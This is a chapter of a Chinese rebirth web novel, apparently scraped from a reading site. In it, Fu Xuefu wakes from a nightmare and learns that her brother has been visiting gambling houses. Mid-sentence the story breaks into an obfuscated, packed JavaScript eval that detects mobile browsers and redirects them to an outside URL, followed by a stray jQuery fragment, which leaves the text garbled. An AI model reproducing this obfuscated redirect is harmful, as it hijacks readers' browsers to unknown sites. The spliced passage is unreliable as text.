9. 第 9 章

作品:《何以渡(重生)

    付雪芙拉住福宝,给她的脸涂了厚厚一层金疮药,便入寝屋一头扎进了床上,她才刚回来一日,昨夜发热刚好,还虚得很,今日又经历了这诸多的事,她身心俱疲。


    任凭福宝如何呼喊,她都无动于衷,福宝无奈,只得熄灯出去。


    直到关门声响起,床上沉睡的付雪芙却忽然睁开眼,放任往事一幕幕浮现,极力记起一些从前未曾在意的细节。


    不知不觉,夜已深。


    她一个无权无势的闺阁女子,若想让背靠二皇子的齐国公府血债血偿,就必须‘借力’。


    而没有人比他更适合。


    此事尚还急不得,需等一个时机。


    至于付文翰和宋氏······她还未想到法子。


    但付知鸢她是绝对不会放过,每每想起她做的事她便恨不得生啖其肉,她要一点点毁掉她最在乎的。


    但在这之前,她还有更重要的事情要做,思及此,她再抵不住睡意,安心睡去。


    但任付雪芙如何周全,也万万没想到事情比她预想的进展还要快。


    丞相府,林清和回府后,深知今日之事非同小可,连忙去寻林相。


    设局之人对她甚是了解,知晓她对宋怀玉嗤之以鼻,就更不会买他的诗集看,但关键就在于,她从不将喜恶展现在人前,背后之人又是如何知晓的?


    林清和虽待人和善,但周围的人不过泛泛之交,她也从不会在外头对别人的诗评头论足,最多便是在别人议论夸赞时,闭口不谈···


    林清和有些懊恼,这般想想,落在有心人眼里就已经足够明显了。


    宋怀玉的真实身份谁都不知道,但仅凭他的诗集能在由皇家掌管的书社售卖这一点,他的身份定然不凡,加上他确实有几分才学,一时间京城不少贵女对他追捧有加。


    但林清和不同,她自小便与哥哥一同在丞相的亲自教养下长大,宋怀玉的诗虽对仗精美朗朗上口,说的也是百姓民生,但不切实际,中看不中用。


    能把她的诗加在宋怀玉的诗集中,背后之人权势定然不小。


    林清和到丞相书房时,恰逢林大人也在,两人听闻此事,俱是一惊。


    林清和或许不知,但两人一个是文官之首,一个是翰林主簿,皆知皇家书社对发行的书籍审查之严格,那人能在重重把守下动手脚,如此大手笔,绝不是女儿家之间的争斗。


    有位高权重之人对丞相府出手了···


    是夜,一只白鸽从一偏僻院子中飞出。


    ···


    约莫是子时刚过,黑夜吞噬一切,人身处其中只能听见自己的的呼吸声,周围静的出奇。


    忽地,一声微弱的哭声传来,细弱的嗓音像只苦苦哀求的奶猫,梦中的付雪芙似又回到了那个院子,处处奢华妥帖,却像个恶鬼,不容她逃脱一点。


    平日里的玉面郎君穿着大红喜袍朝她走来,身上的疼痛却不及心中的震惊,她哭喊求饶却无济于事,白日还热闹的院子此时却像空了一般,直到龙凤烛燃尽···


    天色已微亮,梦中的她蜷缩一团,浑身颤抖不已,一双手却在此时揽住她,她怕的不敢呼气,脑海里一片空白,身上的汗毛竖起,全身都在叫着‘远离他’。


    他脸上带笑,说着什么,她只觉自己在被恶鬼蚕食。


    但他的一字一句却清晰地传进付雪芙的耳中···


    付雪芙惨白着脸从梦中挣脱,额上布满冷汗,整个人还在颤抖,她却强撑着抬首。


    圆形的拱窗、花鸟纹的缠丝屏风···


    屋里还隐隐有木槿的花香,付雪芙贪婪地吸了好几口,这才确信她是真的回来了。


    付雪芙起身给自己倒了一杯凉茶水,待缓过来,她才放声道:“福宝,更衣。”


    ······


    半个时辰后,两人到了清风院门口。


    院子紧闭,福宝上前叩门,还未叩响,院门便晃悠悠开了。


    付雪芙皱眉,抬步入内。


    已是亥时末,院中可见之处竟无一人。


    付雪芙循着记忆,径直往主屋走去,房门紧闭,她伸手一推便开了,她挥手示意福宝,自己则向内室而去,果不其然,内室也空无一人,一摸被褥,没有一丝暖意。


    再出来时,福宝已经将早膳摆好,付雪芙让福宝先去用膳,自己则坐在桌前等着。


    这一等便到了午时,付雪芙的脸也越来越黑。


    皇宫内,付文翰来上朝,如往常那般走在宫道上,红色官服一挥一扬,步伐稳健,微微垂首朝前走。


    忽地,前边传来一声‘付侍郎’。


    付文翰抬首,那是礼部的裴侍中,裴太师的小儿子,他正朝自己笑着,刚刚那一声便是他喊的,只见他又朝自己颔首示意。


    付文翰有些受宠若惊,面上却客气有礼,他拱手道:“裴侍中。”


    接着,一路走来,有不少平常与他没什么交集的世家官员都跟他打了招呼。


    任付文翰再如何端方自持,越来越轻快的步伐也泄漏了他的心绪,他的腰背渐渐挺得笔直,头也微微昂着。


    待入了太和殿,还没到自个的位置上,户部的同僚便围了上来,众人你一句我一句恭维着他。


    连老尚书都赞了他一句‘后生可畏’。


    这些人可各个都是人精,消息不知比自个灵通了多少倍,付文翰觉得自己晋升有望,整个人都是飘飘然的···


    清风院内,桌上的早膳冷了又热,已经不成样子,福宝出声道:“小姐,您先用些吧。”


    付雪芙随意吃了个饺子,便道:“撤了吧。”


    不知过了多久,院子中才有小厮开始洒扫。


    元安掐着时候起身,用过膳才去的清风院,他哼着曲儿,脚步轻快,瞧见主屋的门开着也不惊慌,只三步并作两步,脸上堆满了笑意,声音洪亮道:“我的少爷啊,你可算是回来了,小的等了您一夜啊,将将才去用膳···”,瞧见主屋坐着的人,元安剩下的话都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464161|169787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    堵在了喉咙眼。


    看清来人沉着脸,元安‘扑通’一声跪在地上,乖巧唤道:“大小姐。”


    “等了一夜?付云州一夜未归?他去哪了?”


    元安不敢回话,头快垂到地上了,付雪芙凝眉,“是要等到夫人问起,你才说吗?”


    元安皱着脸,一副快哭的模样,“少爷出府去···去···”,元安心中祈祷少爷赶紧回来,“去赌坊了。”


    付雪芙心中一震,“你一五一十说来。”


    原来,自付文翰与宋氏不再管束他后,本就厌烦念书的付云州索性连书院都不去了,成日往外跑,结交了不少三教九流,便有人带着他去了赌坊。


    自此,付云州便一发不可收拾,几乎每日都要去赌坊走一遭,到如今他已是城中大小赌坊的熟客。


    元安悄摸抬眼一瞧,付雪芙脸色发白,神情怔愣,他暗道‘要完’,忙找补道:“小的也曾劝过少爷,但少爷的脾气大小姐您也知道,哪是小的能劝动的?有时劝的烦了,少爷还会把小的绑了,赌坊鱼龙混杂,小的生怕少爷有个好歹,自知劝不住便干脆跟着去,万一有什么危险,小的也能帮少爷挡挡不是。”


    元安说了半天,也没见付雪芙发话,抬首一瞧,她正盯着自己,神情复杂,元安立即埋首,再不敢造次。


    付雪芙心中发凉,前世付云州的死便与赌坊脱不开关系,不成想,他竟是这般早便与赌坊有瓜葛。


    良久,付雪芙才开口问道:“他哪来的银子?”


    元安见瞒不过,索性全盘托出,“都是少爷自己赢的。”


    付云州每日都会选一家赌坊去,也不多赌,无论输赢只玩三局,赌的也不大,以赌坊先给点甜头的招数,付云州自然是赢多输少,玩完三局后,付云州就只在边上看。


    听到这,付雪芙舒了一口气,没到上瘾那一步便好,“你昨日怎么没跟着他?”


    元安有些心虚,“昨日少爷去的是城东最大的八方赌坊,里边有专门维护秩序的打手,极少有人闹事,加上小的这几日身子不太爽利,便没跟着。”


    付雪芙刚放下的心瞬间提起。


    前世,付云州为了救付雪芙,不知从哪得来的消息,认定八方赌坊背后的主子权势极盛,花重金求人引荐却遇到骗子,付云州一气之下将人打死,自己锒铛入狱,等她得了消息去求齐司理,却传来付云州在狱中身死的消息。


    付雪芙挥挥手,元安如蒙大赦。


    没过一会儿,房外传来一阵脚步声,下一瞬,付云州出现在门口。一如她记忆中的模样,唇红齿白的小小少年郎尚还稚嫩,身量却已比她还要高,走路时总要背一个手在身后,快步走来意气风发。


    不似上回见他,已长高许多的白衣少年躺在肮脏逼仄的牢房里,任凭身上的虫蚁老鼠啃咬,毫无生机。


    付云州瞧见坐在桌前的付雪芙,只顿了一瞬,便径直往内室而去。


    付雪芙瞬时有些懵,怎么也没想到是这种情形。